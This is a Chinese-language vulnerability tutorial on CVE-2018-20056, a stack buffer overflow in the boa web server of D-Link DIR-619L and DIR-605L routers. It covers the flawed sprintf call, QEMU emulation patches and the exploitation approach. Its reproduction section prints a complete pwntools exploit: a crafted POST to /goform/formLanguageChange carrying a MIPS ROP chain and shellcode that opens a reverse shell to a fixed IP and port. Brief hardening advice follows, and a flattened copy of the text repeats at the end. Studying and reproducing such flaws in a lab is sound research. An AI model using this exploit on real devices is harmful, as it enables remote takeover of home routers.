路由器漏洞分析系列(2):CVE-2018-20056 DIR-619L&605L 栈溢出漏洞分析及复现
字数 1403 2025-08-27 12:33:37

D-LINK DIR-619L & DIR-605L 栈溢出漏洞分析及复现教程 (CVE-2018-20056)

漏洞概述

本教程将详细分析D-LINK路由器中的栈溢出漏洞(CVE-2018-20056),并提供完整的复现方法。该漏洞影响以下设备版本:

  • DIR-619L Rev.B 2.06B1版本之前
  • DIR-605L Rev.B 2.12B1版本之前

漏洞存在于/bin/boa文件的formLanguage函数中,由于未对参数长度进行检查,导致远程攻击者可以通过构造特定HTTP请求实现远程代码执行。

漏洞原理

漏洞位置

漏洞位于formLanguageChange函数中,该函数处理语言切换请求。关键问题在于使用了不安全的sprintf函数,且未对输入参数进行长度检查。

漏洞触发流程

  1. 攻击者访问http://[ip]/goform/formLanguageChange并指定currTime参数
  2. websGetVar函数获取参数值
  3. sprintf函数将参数值写入固定大小的栈缓冲区(local_f8[200])
  4. 当输入数据超过缓冲区大小时,导致栈溢出

关键代码分析

void formLanguageChange(undefined4 uParm1) {
    char local_f8[200];
    // ...
    uVar3 = websGetVar(uParm1, "currTime", &DAT_004ac874);
    __s1 = "/index.asp";
    sprintf(local_f8, "%s?t=%s", __s1, uVar3); // 危险函数调用
    websRedirect(uParm1, local_f8);
}

环境搭建与修复

固件获取

固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-619L/REVB/

QEMU运行修复

在QEMU中直接运行bin/boa会遇到硬件模块缺失问题,需要进行以下修复:

1. 修复"Initialize AP MIB failed"错误

  • 原因:缺少apmib_init()函数
  • 解决方案:通过动态库劫持
  • 创建劫持库apmib-ld.so,劫持以下函数:
    • apmib_init
    • apmib_get
    • fork
  • 运行命令:LD_PRELOAD=./apmib-ld.so chroot . /qemu-mips-static bin/boa

2. 修复无法连接到路由器

  • 问题:getWizardInformation函数中的内存访问错误
  • 解决方案:修改二进制文件
    • 定位地址:0x41b4d8
    • bnez指令改为beqz(二进制从0x14改为0x10

3. 修复apmib.so中的段错误

  • 问题:访问http://ip/goform/formLanguage时出现段错误
  • 解决方案:修改apmib.so
    • 定位偏移:0x5254
    • 修改0x51a8处的beqzbnez

漏洞利用分析

利用链构造

漏洞利用通过两个sprintf调用实现:

  1. 第一个sprintfformLanguageChange中溢出缓冲区
  2. 第二个sprintfsend_r_moved_perm中完成ROP链构造

关键利用点

  • 控制返回地址
  • 构造ROP链实现代码执行
  • 通过栈迁移技术绕过保护机制

漏洞复现

利用代码

import requests
import sys
import struct
from pwn import *

context.arch = 'mips'
context.endian = 'big'
ip = '192.168.75.150'

def syscmd1(a):
    p = remote(ip, 80)
    z = len(a)
    print "[+]len:" + str(z)
    payload = ''
    payload += 'POST /goform/formLanguageChange HTTP/1.1\r\n'
    payload += 'Host: ' + ip + '\r\n'
    payload += 'Connection: keep-alive\r\n'
    payload += 'Accept-Encoding: gzip, deflate\r\n'
    payload += 'Accept: */*\r\n'
    payload += 'User-Agent: python-requests/2.18.4\r\n'
    payload += 'Content-Length: ' + str(z + 9) + '\r\n'
    payload += 'Content-Type: application/x-www-form-urlencoded\r\n'
    payload += '\r\n'
    payload += 'currTime='
    payload += a + '\r\n'
    p.send(payload)
    p.recvuntil('</html>')
    p.close()

# libc.so.0基地址
base1 = 0x2ab88000

# Shellcode构造
sc = struct.pack(">I", 0x24060101)
sc += struct.pack(">I", 0x04d0ffff)
sc += struct.pack(">I", 0x2806ffff)
sc += struct.pack(">I", 0x27bdffe0)
sc += struct.pack(">I", 0x27e41001)
sc += struct.pack(">I", 0x2484f023)
sc += struct.pack(">I", 0xafa4ffe8)
sc += struct.pack(">I", 0xafa0ffec)
sc += struct.pack(">I", 0x27a5ffe8)
sc += struct.pack(">I", 0x24020fab)
sc += struct.pack(">I", 0xafa00108)
sc += struct.pack(">I", 0x0101010c)
sc += "/bin//sh\x00"

shellcode = ''
shellcode += asm(shellcraft.connect('192.168.75.149', 5555))
shellcode += asm(shellcraft.dup2(5, 0))
shellcode += asm(shellcraft.dup2(5, 1))
shellcode += sc

# ROP链构造
s0 = struct.pack(">I", base1 + 0x2C794)
s1 = struct.pack(">I", base1 + 0x2C794)
s2 = struct.pack(">I", base1 + 0x24b70)  # move $t9,$s2;...;jr $t9
s3 = struct.pack(">I", base1 + 0x2bdac)  # sleep(1)
s4 = struct.pack(">I", base1 + 0x2bdac)

# 构造payload
payload1 = 'a' * 0x167 + s0 + s1 + s2 + s3
payload1 += struct.pack(">I", base1 + 0x25714)  # li $a0,1;move $t9,$s1;jalr $t9;ori $a1,$s0,2
payload1 += 'b' * 0x1c + s0 + s1 + s2 + s3 + s4
payload1 += struct.pack(">I", base1 + 0x5f98)  # lw $ra,0x1c($sp);...;jr $ra
payload1 += 'c' * 0x1c
payload1 += s3
payload1 += 'd' * 0x18
payload1 += struct.pack(">I", 0x24910101)  # addiu $s1,$a0,257;addi $s1,$s1,-257;move $t9,$s1;jalr $t9
payload1 += struct.pack(">I", 0x2231feff)
payload1 += struct.pack(">I", 0x0220c821)
payload1 += struct.pack(">I", 0x0320f809)
payload1 += struct.pack(">I", 0x2231feff)
payload1 += struct.pack(">I", 0x2231feff)
payload1 += struct.pack(">I", base1 + 0x2bda0)  # mov $t9,$a0;...;jalr $t9
payload1 += 'e' * 0x20 + shellcode

if __name__ == "__main__":
    syscmd1(payload1)

复现步骤

  1. 搭建QEMU模拟环境
  2. 应用上述修复补丁
  3. 运行修复后的boa服务
  4. 执行利用代码,发送恶意请求
  5. 观察反向连接是否成功

防护建议

  1. 升级到最新固件版本
  2. 替换不安全的sprintf函数为snprintf
  3. 对所有输入参数进行长度检查
  4. 启用栈保护机制(如ASLR、Stack Canary)

参考资源

D-LINK DIR-619L & DIR-605L 栈溢出漏洞分析及复现教程 (CVE-2018-20056) 漏洞概述 本教程将详细分析D-LINK路由器中的栈溢出漏洞(CVE-2018-20056),并提供完整的复现方法。该漏洞影响以下设备版本: DIR-619L Rev.B 2.06B1版本之前 DIR-605L Rev.B 2.12B1版本之前 漏洞存在于 /bin/boa 文件的 formLanguage 函数中,由于未对参数长度进行检查,导致远程攻击者可以通过构造特定HTTP请求实现远程代码执行。 漏洞原理 漏洞位置 漏洞位于 formLanguageChange 函数中,该函数处理语言切换请求。关键问题在于使用了不安全的 sprintf 函数,且未对输入参数进行长度检查。 漏洞触发流程 攻击者访问 http://[ip]/goform/formLanguageChange 并指定 currTime 参数 websGetVar 函数获取参数值 sprintf 函数将参数值写入固定大小的栈缓冲区( local_f8[200] ) 当输入数据超过缓冲区大小时,导致栈溢出 关键代码分析 环境搭建与修复 固件获取 固件下载地址: ftp://ftp2.dlink.com/PRODUCTS/DIR-619L/REVB/ QEMU运行修复 在QEMU中直接运行 bin/boa 会遇到硬件模块缺失问题,需要进行以下修复: 1. 修复"Initialize AP MIB failed"错误 原因:缺少 apmib_init() 函数 解决方案:通过动态库劫持 创建劫持库 apmib-ld.so ,劫持以下函数: apmib_init apmib_get fork 运行命令: LD_PRELOAD=./apmib-ld.so chroot . /qemu-mips-static bin/boa 2. 修复无法连接到路由器 问题: getWizardInformation 函数中的内存访问错误 解决方案:修改二进制文件 定位地址: 0x41b4d8 将 bnez 指令改为 beqz (二进制从 0x14 改为 0x10 ) 3. 修复 apmib.so 中的段错误 问题:访问 http://ip/goform/formLanguage 时出现段错误 解决方案:修改 apmib.so 定位偏移: 0x5254 修改 0x51a8 处的 beqz 为 bnez 漏洞利用分析 利用链构造 漏洞利用通过两个 sprintf 调用实现: 第一个 sprintf 在 formLanguageChange 中溢出缓冲区 第二个 sprintf 在 send_r_moved_perm 中完成ROP链构造 关键利用点 控制返回地址 构造ROP链实现代码执行 通过栈迁移技术绕过保护机制 漏洞复现 利用代码 复现步骤 搭建QEMU模拟环境 应用上述修复补丁 运行修复后的 boa 服务 执行利用代码,发送恶意请求 观察反向连接是否成功 防护建议 升级到最新固件版本 替换不安全的 sprintf 函数为 snprintf 对所有输入参数进行长度检查 启用栈保护机制(如ASLR、Stack Canary) 参考资源 GitHub PoC代码 《揭秘家用路由器0day漏洞挖掘技术》3.1节